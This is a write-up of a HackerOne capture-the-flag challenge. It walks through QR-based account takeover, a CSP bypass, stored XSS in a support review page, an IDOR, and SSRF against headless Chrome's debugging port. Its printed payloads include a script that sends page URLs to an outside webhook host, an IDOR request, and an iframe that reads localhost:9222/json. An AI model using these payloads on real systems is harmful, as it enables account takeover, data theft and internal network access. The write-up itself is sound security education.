Before I start I just want to thank @checkm50 & @al-madjus for including me in the team. #TogetherWeHitHarder
tldr; Account take over => CSP bypass to execute javascript
=> IDOR => Access to internal network => access to debugging
on headless Chrome.
This was the beginning of the of the H1 CTF
- last year I didn't get far on my own so this year I collaborated with 2 awesome hackers @checkm50 & @al-madjus we spent days trying to figure out how to get this done - thankful for being able to bounce ideas back and forth with them, this write up explains how we went from account takeover
to infiltrating the internal network and accessing debugging
endpoints on a headless google chrome
instance.
Application mapping
Description
Application allows users to sign up for a trial in which they can convert images into pdf files, on signup you also receive a QR
code for account recovery. The initial account does not have access to /support
which requires a full account, when generating pdfs the user's name is pulled from the application and used in the finished pdf, /settings
allows to edit the user's name.
Account Takeover
To create an account you need:
- name
- username
- password
Once you do that, the back-end
generates a QR
code that can be used for account recovery, if you decode the QR
code you can see that it has the following format: email:hash
at this point the idea was to somehow register an account with some invalid characters that would get stripped right before the QR
generation function, if this happens we could basically register the email jobert@mydocz.cosmic{}<>
the extra characters would get stripped and we could obtain a valid QR
for the account jobert@mydocz.cosmic
We found the
jobert@mydocz.cosmic
email when doing initial recon - it was left behind in the review section of the sign-in screen.
So now we could log into jobert's
account using the /recover
endpoint and our forged QR
code, however the account could not upload any documents, but we did have access to the /support
page which had a chat, once we initiated conversation with the bot
we noticed that we could inject html, using webhook.site
we tested this by trying to request an image - it worked. Can we execute JavaScript
? Enter CSP
policy.
CSP || GTFO
When we tried to execute javascript
we noticed the following CSP
policy:
Content-Security-Policy:
default-src 'self';
object-src 'none';
script-src 'self' https://raw.githack.com/mattboldt/typed.js/master/lib/;
img-src data: *
So we can't execute any scripts
unless they come from https://raw.githack.com/mattboldt/typed.js/master/lib/
great - now to look for a bypass, after a long time we found the bypass by using https://raw.githack.com/mattboldt/typed.js/master/lib/@https://github.com/username/repo_name/master/file_name.js
You have to remove the
/blob/
path from your github for this to work
this allowed us to run scripts
and bypass CSP
, so what's next?
Let me speak to your manager
When we did the ATO
for jobert
we noticed that support was available, so I look into what was being loaded:
function showReviewModal() {
$("#review-modal").modal("show");
for (var e = 0; e <= 5; e++) $("#star-" + e).removeClass("checked");
$("#review-button").attr("disabled", !0)
}
rating = 3, $(".review-star").click(function(e) {
rating = $(this).data("rating");
for (var t = 1; t <= rating; t++) $("#star-" + t).addClass("checked");
for (t = rating + 1; t <= 5; t++) $("#star-" + t).removeClass("checked");
$("#rating-input").val(rating), 1 === rating && $("#report-message").text("We're sorry about that. Our team will review this conversation shortly."), $("#review-button").attr("disabled", !1)
}), $("#chat-form").submit(function(e) {}), $("#chat-form").submit(async function(e) {
e.preventDefault();
var t = $("#chat-textarea").val();
if ("finish" !== t.toLowerCase() && "quit" !== t.toLowerCase()) {
if ($("#chat-textarea").val(""), $("#chat-button").attr("disabled", !0), $("#chat-div").append(decodeURIComponent('<h3><span class="badge badge-primary">' + t + "</span></h3>")), window.scrollTo(0, document.body.scrollHeight), t.length > 0) {
var a = await fetch("/support/chat?message=" + t);
showTypedMessages([(await a.json()).response])
}
$("#chat-button").attr("disabled", !1), $("#chat-textarea").focus()
} else showReviewModal()
}), showTypedMessages(["Hello!", "How can I help you?"]), $("#chat-textarea").focus();
If you ran showReviewModal()
from your dev console
you would get a "Review" modal, where if given 1
star you would receive the "We're sorry about that. Our team will review this conversation shortly." message - quick shout out to the hacker101 ctf there's a challenge just like this one there that helped us understand what was going on.
If we included a payload here - it would fire once in our browser and again from the reviewer's side - interesting, we looked for a lot of stuff here, but the most important one was getting the current url of the browser:
var image = document.createElement("img")
var image.src = "webhook.site/1234/img.png?url= + window.location.href
document.body.appendChild(image)
Using this payload we were able to see this:
http://localhost:3000/support/review/39b707f120c5fde356bf0f5daec51bee292d38862d2bc7d09ba032257365e2dd
Which if turned into: https://h1-415.h1ctf.com//support/review/39b707f120c5fde356bf0f5daec51bee292d38862d2bc7d09ba032257365e2dd
Would give us direct access to the review - the review page looked like:
Here we got stuck, what could possibly be next?!
IDOR YOU
We tested everything - and after many hours discovered an IDOR
that allowed us to change user's name
remember from before - the user's name
gets added to the final pdf
but we had tried to inject html
before using /settings
and it encoded everything correctly - maybe this /review
route is not encoding characters properly - so we tried it, we signed up for a new account - submitted the /review
form but with another user's user_id
, which can be found in the /settings
page as a hidden input
POST /support/review/6542aa9e862bae99ebff66ce40c3a01402e6ec1263d661d40c552d875a9102e0 HTTP/1.1
Host: h1-415.h1ctf.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 74
Cookie: _csrf_token=71d2eed9870ab7ff665140ebd1a68391a57fd3ee; session=.eJw9y9EKwiAYhuF7-Y9HzK3p5lH3ESG_-kmrnEPtYEX33iDo8IXnfZNxJQdT0x0LaVLCd4CfRtWyVSFIOYhjC-sFy7GfBA8q-B6ghtyVK-nzpSFEnh_7fEsWuZ7i5pN7HVwqcXY7fBZkU7cVpLtfLRzx9_T5AvsNKzQ.XiahyQ.frH-NvIt1yzgFztKvF5RlR0c5ho
name=<img src=webhook.site/>&user_id=3&_csrf_token=71d2eed9870ab7ff665140ebd1a68391a57fd3ee
This request allowed us to set the name of user:3
as <img src=webhook.site/>
which if everything worked would allow us to get more information about the backend - and it did. I also used @daekens ssrf tester which gave me this information:
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/79.0.3945.0 Safari/537.36
Cool, so now we know that this pdf is being rendered by HeadlessChrome
- but now what?
I heard you like iFrames
We can inject html markup and we know it'll be rendered server-side
and then displayed when we convert an image to a pdf, we also know that the application actually runs on localhost:3000
because the calls come back from there - so let's try to port scan and see if we can something else in there!
We tried everything we could - yes even localhost:1337
and nothing was coming up, I was about to go to bed - after almost a week at it I was tiered and sleepy but @checkm50 wouldn't let me give up, so we continue, I opened up google and searched for headless chrome port
if all fails - GOOGLE!
And in there I found the following
chrome \
--headless \ # Runs Chrome in headless mode.
--disable-gpu \ # Temporarily needed if running on Windows.
--remote-debugging-port=9222 \
https://www.chromestatus.com # URL to open. Defaults to about:blank.
I see a port number - so let's give it a go and receive we Inspectable WebContents
okay at least is not empty or forbidden - so I show this to checkm50
and he says to look at /json
so I used this as a payload:
<iframe src='http://localhost:9222/json' width=900 height=900></iframe>
In there you can see: secret_document=0d0a2d2a3b87c44ed13e0cbfc863ad4322c7913735218310e3d9ebe37e6a84ab.pdf"
That looks good - let's try to open it using the /documents/
endpoint:
https://h1-415.h1ctf.com/documents/0d0a2d2a3b87c44ed13e0cbfc863ad4322c7913735218310e3d9ebe37e6a84ab.pdf
This was my reaction:
Thoughts
Collaboration brings the best out in people, allowing others to hear your thoughts and bounce ideas is the reason why we solved this. It was hard and it pushed me to learn new things. I started last year using the hacker101 ctf and I'm so thankful I joined. If you want to learn signup and join us on discord
Top comments (0)